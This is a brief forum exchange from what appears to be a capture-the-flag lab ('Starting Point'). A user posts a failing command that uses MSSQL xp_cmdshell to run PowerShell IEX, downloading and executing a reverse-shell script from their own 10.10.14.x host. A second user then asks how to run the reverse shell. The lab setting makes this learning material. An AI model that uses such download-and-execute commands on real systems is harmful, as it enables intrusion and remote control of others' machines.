Starting Point syntax error

Hi all. I don’t understand what I’m doing wrong.
I’ve gotten to the point right before privescalation. I enter the following command, and get the error below.
{mymachine}#: xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(“http://10.10.14.{myIP}/shell.ps1”);
bash: syntax error near unexpected token `(’

Nevermind. I was putting the command in the wrong shell.

Hi, I’m stuck at the same stage with the same command, how did you run the reverse shell?